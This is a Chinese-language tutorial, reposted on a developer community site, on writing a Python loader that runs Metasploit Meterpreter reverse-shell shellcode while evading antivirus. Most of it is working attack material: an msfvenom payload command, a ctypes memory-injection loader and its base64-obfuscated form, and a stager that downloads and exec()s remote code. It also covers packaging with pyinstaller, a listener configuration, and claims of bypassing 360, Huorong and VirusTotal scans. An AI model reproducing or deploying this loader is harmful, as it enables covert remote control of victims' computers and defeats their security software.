分享 | Python编写loader加载shellcode免杀学习 - 文章 - 开发者社区

文章来源：Reset安全

（1）msf生成shellcode，使用base64编码。


        
 `msfvenom -p windows/x64/meterpreter/reverse\_tcp --encrypt base64 lhost=192.168.133.128 lport=4444 -f py`

picture.image

（2）网上找的loader加载器代码，进行base64编码

原始代码：


        
  `ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64`
  `ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))`
  `buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)`
  `ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))`
  `handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))`
  `ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))`

改写成一句话并且进行base64编码：


        
 `Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MucmVzdHlwZSA9IGN0eXBlcy5jX3VpbnQ2NDtwdHIgPSBjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYyhjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSksIGN0eXBlcy5jX2ludCgweDMwMDApLGN0eXBlcy5jX2ludCgweDQwKSk7YnVmID0gKGN0eXBlcy5jX2NoYXIgKiBsZW4oc2hlbGxjb2RlKSkuZnJvbV9idWZmZXIoc2hlbGxjb2RlKTtjdHlwZXMud2luZGxsLmtlcm5lbDMyLlJ0bE1vdmVNZW1vcnkoY3R5cGVzLmNfdWludDY0KHB0ciksIGJ1ZiwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSk7aGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoY3R5cGVzLmNfaW50KDApLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBjdHlwZXMuY19pbnQoMCksIGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLnBvaW50ZXIoY3R5cGVzLmNfaW50KDApKSk7Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGN0eXBlcy5jX2ludChoYW5kbGUpLCBjdHlwZXMuY19pbnQoLTEpKQ==`

（3）将shellcode代码和loader代码，存入txt，注意byte字节流要转成字符串形式写入。


        
 `str(b'xxxx' coding='utf-8')`

（4）将txt放到服务器上，使用python起http服务，以便访问。


        
 `python3 -m http.server 10008`

picture.image

（5）编写代码，远程读取txt内容，本地运行，实现分离。


        
  `import base64`
  `import ctypes`
  `import requests`
 
  `buf = requests.get("http://xxx.xxx.xxx.xxx:10008/shellcode.txt", timeout=5).text`
  `bufs = base64.b64decode(buf)`
  `shellcode = bytearray(bufs)`
  `loader = requests.get("http://xx.xxx.xxx.xx:10008/loader.txt", timeout=5).text`
  `exec(base64.b64decode(loader))`

（6）使用pyinstaller打包exe。


        
 `pyinstaller -F -w 2.py`

picture.image

（7）msf开启监听，运行2.exe，主机成功上线。


        
  `use exploit/multi/handler`
  `set payload windows/x64/meterpreter/reverse_tc`
  `set lhost 192.168.133.12`
  `set lport 4444`
  `run`

picture.image

（8）免杀效果。

本地过360和火绒。

picture.image

virustotal，查杀结果。

picture.image

virscan，查杀结果。

picture.image

（9）参考文章


        
            

          https://blog.csdn.net/qq\_25761407/article/details/121871463

如有侵权，请联系删除

推荐阅读

实战|记一次奇妙的文件上传getshell

「超详细 | 分享」手把手教你如何进行内网渗透

神兵利器 | siusiu-渗透工具管理套件

一款功能全面的XSS扫描器

实战 | 一次利用哥斯拉马绕过宝塔waf

BurpCrypto: 万能网站密码爆破测试工具

快速筛选真实IP并整理为C段 -- 棱眼

自动探测端口顺便爆破工具t14m4t

渗透工具｜无状态子域名爆破工具（1秒扫160万个子域）

查看更多精彩内容，还请关注 橘猫学安全：

每日坚持学习与分享，觉得文章对你有帮助可在底部给点个“ 再看 ”